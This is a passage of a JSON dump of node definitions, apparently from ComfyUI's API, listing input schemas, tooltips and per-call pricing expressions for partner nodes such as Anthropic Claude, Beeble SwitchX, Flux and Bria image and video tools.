["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "ClaudeNode", "display_name": "Anthropic Claude", "description": "Generate text responses with Anthropic's Claude models. Provide a text prompt and optionally one or more images for multimodal context.", "python_module": "comfy_api_nodes.nodes_anthropic", "category": "partner/text/Anthropic", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $contains($m, \"opus\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.005, 0.025],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"sonnet\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.003, 0.015],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : $contains($m, \"haiku\") ? {\n \"type\": \"list_usd\",\n \"usd\": [0.001, 0.005],\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n }\n : {\"type\":\"text\", \"text\":\"Token-based\"}\n )\n "}, "search_aliases": null, "essentials_category": "Text Generation", "has_intermediate_output": false}, "BeebleSwitchXVideoEdit": {"input": {"required": {"video": ["VIDEO", {}], "prompt": ["STRING", {"tooltip": "Text description of the desired output (max 2000 chars). At least one of 'prompt' or 'reference_image' is required.", "default": "", "multiline": true}], "alpha_mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Controls how SwitchX decides what to keep vs. regenerate. 'auto' isolates the main subject automatically. 'fill' regenerates the entire frame while preserving geometry. 'select' propagates a first-frame keyframe across the clip. 'custom' uses a per-frame alpha matte you provide.", "options": [{"key": "auto", "inputs": {"required": {}}}, {"key": "fill", "inputs": {"required": {}}}, {"key": "select", "inputs": {"required": {"alpha_keyframe": ["MASK", {"tooltip": "First-frame keyframe mask. Beeble propagates this across the video."}]}}}, {"key": "custom", "inputs": {"required": {"alpha_mask": ["MASK", {"tooltip": "Per-frame grayscale mask covering the entire video. Must have the same frame count as the source. Connect a MASK output from SAM3_TrackToMask or similar."}]}}}]}], "max_resolution": ["COMBO", {"tooltip": "Maximum output resolution.", "default": "1080p", "multiselect": false, "options": ["1080p", "720p"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "optional": {"reference_image": ["IMAGE", {"tooltip": "Reference image whose look (background, lighting, costume) the result should adopt. At least one of 'reference_image' or 'prompt' is required."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "prompt", "alpha_mode", "max_resolution", "seed"], "optional": ["reference_image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO", "VIDEO"], "output_is_list": [false, false], "output_name": ["video", "alpha"], "output_tooltips": [null, "The alpha matte Beeble used. Empty for 'fill' mode, which has no separate matte."], "output_matchtypes": null, "name": "BeebleSwitchXVideoEdit", "display_name": "Beeble SwitchX Video Edit", "description": "Edit a video with Beeble SwitchX. Switches anything in the scene (background, lighting, costume) while preserving the original subject's pixels and motion. Provide a reference image and/or text prompt to describe the new look. Max 240 frames, max ~2.77MP per frame.", "python_module": "comfy_api_nodes.nodes_beeble", "category": "partner/video/Beeble", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "max_resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $rate := widgets.max_resolution = \"1080p\" ? 0.429 : 0.143;\n {\"type\":\"usd\",\"usd\": $rate, \"format\":{\"suffix\":\"/30 frames\"}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BeebleSwitchXImageEdit": {"input": {"required": {"image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Text description of the desired output (max 2000 chars). At least one of 'prompt' or 'reference_image' is required.", "default": "", "multiline": true}], "alpha_mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Controls how SwitchX decides what to keep vs. regenerate. 'auto' isolates the main subject automatically. 'fill' regenerates the entire frame while preserving geometry. 'select' propagates a first-frame keyframe across the clip. 'custom' uses a per-frame alpha matte you provide.", "options": [{"key": "auto", "inputs": {"required": {}}}, {"key": "fill", "inputs": {"required": {}}}, {"key": "select", "inputs": {"required": {"alpha_keyframe": ["MASK", {"tooltip": "Grayscale keyframe mask."}]}}}, {"key": "custom", "inputs": {"required": {"alpha_mask": ["MASK", {"tooltip": "Grayscale mask to apply."}]}}}]}], "max_resolution": ["COMBO", {"tooltip": "Maximum output resolution.", "default": "1080p", "multiselect": false, "options": ["1080p", "720p"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "optional": {"reference_image": ["IMAGE", {"tooltip": "Reference image whose look (background, lighting, costume) the result should adopt. At least one of 'reference_image' or 'prompt' is required."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "alpha_mode", "max_resolution", "seed"], "optional": ["reference_image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["image", "alpha"], "output_tooltips": [null, "The alpha matte Beeble used. Empty for 'fill' mode, which has no separate matte."], "output_matchtypes": null, "name": "BeebleSwitchXImageEdit", "display_name": "Beeble SwitchX Image Edit", "description": "Edit a single image with Beeble SwitchX. Switches anything in the scene (background, lighting, costume) while preserving the original subject's pixels. Provide a reference image and/or text prompt to describe the new look. Max ~2.77MP.", "python_module": "comfy_api_nodes.nodes_beeble", "category": "partner/image/Beeble", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "max_resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $rate := widgets.max_resolution = \"1080p\" ? 0.429 : 0.143;\n {\"type\":\"usd\",\"usd\": $rate}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxProUltraImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation", "default": "", "multiline": true}], "prompt_upsampling": ["BOOLEAN", {"tooltip": "Whether to perform upsampling on the prompt. If active, automatically modifies the prompt for more creative generation, but results are nondeterministic (same seed will not produce exactly the same result).", "advanced": true, "default": false}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "aspect_ratio": ["STRING", {"tooltip": "Aspect ratio of image; must be between 1:4 and 4:1.", "default": "16:9", "multiline": false}], "raw": ["BOOLEAN", {"tooltip": "When True, generate less processed, more natural-looking images.", "default": false}]}, "optional": {"image_prompt": ["IMAGE", {}], "image_prompt_strength": ["FLOAT", {"tooltip": "Blend between the prompt and the image prompt.", "default": 0.1, "min": 0.0, "max": 1.0, "step": 0.01}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "prompt_upsampling", "seed", "aspect_ratio", "raw"], "optional": ["image_prompt", "image_prompt_strength"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxProUltraImageNode", "display_name": "Flux 1.1 [pro] Ultra Image", "description": "Generates images using Flux Pro 1.1 Ultra via api based on prompt and resolution.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.06}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxKontextProImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation - specify what and how to edit.", "default": "", "multiline": true}], "aspect_ratio": ["STRING", {"tooltip": "Aspect ratio of image; must be between 1:4 and 4:1.", "default": "16:9", "multiline": false}], "guidance": ["FLOAT", {"tooltip": "Guidance strength for the image generation process", "default": 3.0, "min": 0.1, "max": 99.0, "step": 0.1}], "steps": ["INT", {"tooltip": "Number of steps for the image generation process", "default": 50, "min": 1, "max": 150}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 1234, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "prompt_upsampling": ["BOOLEAN", {"tooltip": "Whether to perform upsampling on the prompt. If active, automatically modifies the prompt for more creative generation, but results are nondeterministic (same seed will not produce exactly the same result).", "advanced": true, "default": false}]}, "optional": {"input_image": ["IMAGE", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "aspect_ratio", "guidance", "steps", "seed", "prompt_upsampling"], "optional": ["input_image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxKontextProImageNode", "display_name": "Flux.1 Kontext [pro] Image", "description": "Edits images using Flux.1 Kontext [pro] via api based on prompt and aspect ratio.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxKontextMaxImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation - specify what and how to edit.", "default": "", "multiline": true}], "aspect_ratio": ["STRING", {"tooltip": "Aspect ratio of image; must be between 1:4 and 4:1.", "default": "16:9", "multiline": false}], "guidance": ["FLOAT", {"tooltip": "Guidance strength for the image generation process", "default": 3.0, "min": 0.1, "max": 99.0, "step": 0.1}], "steps": ["INT", {"tooltip": "Number of steps for the image generation process", "default": 50, "min": 1, "max": 150}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 1234, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "prompt_upsampling": ["BOOLEAN", {"tooltip": "Whether to perform upsampling on the prompt. If active, automatically modifies the prompt for more creative generation, but results are nondeterministic (same seed will not produce exactly the same result).", "advanced": true, "default": false}]}, "optional": {"input_image": ["IMAGE", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "aspect_ratio", "guidance", "steps", "seed", "prompt_upsampling"], "optional": ["input_image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxKontextMaxImageNode", "display_name": "Flux.1 Kontext [max] Image", "description": "Edits images using Flux.1 Kontext [pro] via api based on prompt and aspect ratio.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxProExpandNode": {"input": {"required": {"image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Prompt for the image generation", "default": "", "multiline": true}], "prompt_upsampling": ["BOOLEAN", {"tooltip": "Whether to perform upsampling on the prompt. If active, automatically modifies the prompt for more creative generation, but results are nondeterministic (same seed will not produce exactly the same result).", "advanced": true, "default": false}], "top": ["INT", {"tooltip": "Number of pixels to expand at the top of the image", "default": 0, "min": 0, "max": 2048}], "bottom": ["INT", {"tooltip": "Number of pixels to expand at the bottom of the image", "default": 0, "min": 0, "max": 2048}], "left": ["INT", {"tooltip": "Number of pixels to expand at the left of the image", "default": 0, "min": 0, "max": 2048}], "right": ["INT", {"tooltip": "Number of pixels to expand at the right of the image", "default": 0, "min": 0, "max": 2048}], "guidance": ["FLOAT", {"tooltip": "Guidance strength for the image generation process", "default": 60, "min": 1.5, "max": 100}], "steps": ["INT", {"tooltip": "Number of steps for the image generation process", "default": 50, "min": 15, "max": 50}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "prompt_upsampling", "top", "bottom", "left", "right", "guidance", "steps", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxProExpandNode", "display_name": "Flux.1 Expand Image", "description": "Outpaints image based on prompt.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.05}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxProFillNode": {"input": {"required": {"image": ["IMAGE", {}], "mask": ["MASK", {}], "prompt": ["STRING", {"tooltip": "Prompt for the image generation", "default": "", "multiline": true}], "prompt_upsampling": ["BOOLEAN", {"tooltip": "Whether to perform upsampling on the prompt. If active, automatically modifies the prompt for more creative generation, but results are nondeterministic (same seed will not produce exactly the same result).", "advanced": true, "default": false}], "guidance": ["FLOAT", {"tooltip": "Guidance strength for the image generation process", "default": 60, "min": 1.5, "max": 100}], "steps": ["INT", {"tooltip": "Number of steps for the image generation process", "default": 50, "min": 15, "max": 50}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "mask", "prompt", "prompt_upsampling", "guidance", "steps", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxProFillNode", "display_name": "Flux.1 Fill Image", "description": "Inpaints image based on mask and prompt.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.05}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxEraseNode": {"input": {"required": {"image": ["IMAGE", {}], "mask": ["MASK", {"tooltip": "White areas are removed; black areas are preserved."}], "dilate_pixels": ["INT", {"tooltip": "Expands the mask boundaries to ensure clean coverage of the object's edges.", "default": 10, "min": 0, "max": 25}]}, "optional": {"seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "mask", "dilate_pixels"], "optional": ["seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxEraseNode", "display_name": "Flux Erase Image", "description": "Removes the masked object from an image and reconstructs the background. Paint the mask over what you want to erase.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"range_usd\",\"min_usd\":0.03,\"max_usd\":0.06,\"format\":{\"approximate\":true}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxVTONode": {"input": {"required": {"person": ["IMAGE", {"tooltip": "Image of the person to dress."}], "garment": ["IMAGE", {"tooltip": "Image of the garment to apply."}], "prompt": ["STRING", {"tooltip": "Optional natural-language styling instruction (e.g. how the garment should fit).", "default": "", "multiline": true}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["person", "garment", "prompt", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxVTONode", "display_name": "Flux Virtual Try-On", "description": "Virtual try-on: dresses the person in the provided garment.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"range_usd\",\"min_usd\":0.0375,\"max_usd\":0.075,\"format\":{\"approximate\":true}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Flux2ProImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation or edit", "default": "", "multiline": true}], "width": ["INT", {"default": 1024, "min": 256, "max": 2048, "step": 32}], "height": ["INT", {"default": 768, "min": 256, "max": 2048, "step": 32}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "prompt_upsampling": ["BOOLEAN", {"tooltip": "Whether to perform upsampling on the prompt. If active, automatically modifies the prompt for more creative generation.", "advanced": true, "default": true}]}, "optional": {"images": ["IMAGE", {"tooltip": "Up to 9 images to be used as references."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "width", "height", "seed", "prompt_upsampling"], "optional": ["images"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "Flux2ProImageNode", "display_name": "Flux.2 [pro] Image", "description": "Generates images synchronously based on prompt and resolution.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "width", "type": "INT"}, {"name": "height", "type": "INT"}], "inputs": ["images"], "input_groups": []}, "expr": "\n (\n $MP := 1024 * 1024;\n $outMP := $max([1, $floor(((widgets.width * widgets.height) + $MP - 1) / $MP)]);\n $outputCost := 0.03 + 0.015 * ($outMP - 1);\n inputs.images.connected\n ? {\n \"type\":\"range_usd\",\n \"min_usd\": $outputCost + 0.015,\n \"max_usd\": $outputCost + 0.12,\n \"format\": { \"approximate\": true }\n }\n : {\"type\":\"usd\",\"usd\": $outputCost}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Flux2MaxImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation or edit", "default": "", "multiline": true}], "width": ["INT", {"default": 1024, "min": 256, "max": 2048, "step": 32}], "height": ["INT", {"default": 768, "min": 256, "max": 2048, "step": 32}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "prompt_upsampling": ["BOOLEAN", {"tooltip": "Whether to perform upsampling on the prompt. If active, automatically modifies the prompt for more creative generation.", "advanced": true, "default": true}]}, "optional": {"images": ["IMAGE", {"tooltip": "Up to 9 images to be used as references."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "width", "height", "seed", "prompt_upsampling"], "optional": ["images"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "Flux2MaxImageNode", "display_name": "Flux.2 [max] Image", "description": "Generates images synchronously based on prompt and resolution.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "width", "type": "INT"}, {"name": "height", "type": "INT"}], "inputs": ["images"], "input_groups": []}, "expr": "\n (\n $MP := 1024 * 1024;\n $outMP := $max([1, $floor(((widgets.width * widgets.height) + $MP - 1) / $MP)]);\n $outputCost := 0.07 + 0.03 * ($outMP - 1);\n\n inputs.images.connected\n ? {\n \"type\":\"range_usd\",\n \"min_usd\": $outputCost + 0.03,\n \"max_usd\": $outputCost + 0.24,\n \"format\": { \"approximate\": true }\n }\n : {\"type\":\"usd\",\"usd\": $outputCost}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Flux2ImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation or edit", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "Flux.2 [pro]", "inputs": {"required": {"width": ["INT", {"default": 1024, "min": 256, "max": 2048, "step": 32}], "height": ["INT", {"default": 768, "min": 256, "max": 2048, "step": 32}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) for image-to-image generation. Up to 8 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8"], "min": 0}}]}}}, {"key": "Flux.2 [max]", "inputs": {"required": {"width": ["INT", {"default": 1024, "min": 256, "max": 2048, "step": 32}], "height": ["INT", {"default": 768, "min": 256, "max": 2048, "step": 32}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) for image-to-image generation. Up to 8 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8"], "min": 0}}]}}}]}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "Flux2ImageNode", "display_name": "Flux.2 Image", "description": "Generate images via Flux.2 [pro] or Flux.2 [max] from a prompt and optional reference images.", "python_module": "comfy_api_nodes.nodes_bfl", "category": "partner/image/BFL", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.width", "type": "INT"}, {"name": "model.height", "type": "INT"}], "inputs": [], "input_groups": ["model.images"]}, "expr": "\n (\n $isMax := widgets.model = \"flux.2 [max]\";\n $MP := 1024 * 1024;\n $w := $lookup(widgets, \"model.width\");\n $h := $lookup(widgets, \"model.height\");\n $outMP := $max([1, $floor((($w * $h) + $MP - 1) / $MP)]);\n $outputCost := $isMax\n ? (0.07 + 0.03 * ($outMP - 1))\n : (0.03 + 0.015 * ($outMP - 1));\n $refMin := $isMax ? 0.03 : 0.015;\n $refMax := $isMax ? 0.24 : 0.12;\n $hasRefs := $lookup(inputGroups, \"model.images\") > 0;\n $hasRefs\n ? {\n \"type\": \"range_usd\",\n \"min_usd\": $outputCost + $refMin,\n \"max_usd\": $outputCost + $refMax,\n \"format\": { \"approximate\": true }\n }\n : {\"type\": \"usd\", \"usd\": $outputCost}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BriaImageEditNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["FIBO"]}], "image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Instruction to edit image", "default": "", "multiline": true}], "negative_prompt": ["STRING", {"default": "", "multiline": true}], "structured_prompt": ["STRING", {"tooltip": "A string containing the structured edit prompt in JSON format. Use this instead of usual prompt for precise, programmatic control.", "default": "", "multiline": true}], "seed": ["INT", {"default": 1, "min": 1, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "guidance_scale": ["FLOAT", {"tooltip": "Higher value makes the image follow the prompt more closely.", "default": 3, "min": 3, "max": 5, "step": 0.01, "display": "number"}], "steps": ["INT", {"default": 50, "min": 20, "max": 50, "step": 1, "display": "number"}], "moderation": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Moderation settings", "options": [{"key": "false", "inputs": {"required": {}}}, {"key": "true", "inputs": {"required": {"prompt_content_moderation": ["BOOLEAN", {"default": false}], "visual_input_moderation": ["BOOLEAN", {"default": false}], "visual_output_moderation": ["BOOLEAN", {"default": true}]}}}]}]}, "optional": {"mask": ["MASK", {"tooltip": "If omitted, the edit applies to the entire image."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image", "prompt", "negative_prompt", "structured_prompt", "seed", "guidance_scale", "steps", "moderation"], "optional": ["mask"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE", "STRING"], "output_is_list": [false, false], "output_name": ["IMAGE", "structured_prompt"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "BriaImageEditNode", "display_name": "Bria FIBO Image Edit", "description": "Edit images using Bria latest model", "python_module": "comfy_api_nodes.nodes_bria", "category": "partner/image/Bria", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.04}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BriaRemoveImageBackground": {"input": {"required": {"image": ["IMAGE", {}], "moderation": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Moderation settings", "options": [{"key": "false", "inputs": {"required": {}}}, {"key": "true", "inputs": {"required": {"visual_input_moderation": ["BOOLEAN", {"default": false}], "visual_output_moderation": ["BOOLEAN", {"default": true}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": 